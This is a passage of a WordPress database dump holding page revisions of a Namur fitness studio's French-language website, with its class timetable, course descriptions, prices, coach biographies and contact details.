class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:34:48', '2013-07-25 16:34:48', '', 11, 'http://www.crosstrainingcenter.be/11-revision-113/', 0, 'revision', '', 0),
(334, 1, '2013-07-25 16:30:38', '2013-07-25 16:30:38', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-25 16:30:38', '2013-07-25 16:30:38', '', 22, 'http://www.crosstrainingcenter.be/22-revision-31/', 0, 'revision', '', 0),
(335, 1, '2013-07-04 19:25:18', '2013-07-04 19:25:18', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:25:18', '2013-07-04 19:25:18', '', 5, 'http://www.crosstrainingcenter.be/5-revision-61/', 0, 'revision', '', 0),
(336, 1, '2013-07-10 15:47:02', '2013-07-10 15:47:02', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-36', '', '', '2013-07-10 15:47:02', '2013-07-10 15:47:02', '', 20, 'http://www.crosstrainingcenter.be/20-revision-36/', 0, 'revision', '', 0),
(337, 1, '2013-07-11 07:03:58', '2013-07-11 07:03:58', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-11 07:03:58', '2013-07-11 07:03:58', '', 9, 'http://www.crosstrainingcenter.be/9-revision-20/', 0, 'revision', '', 0),
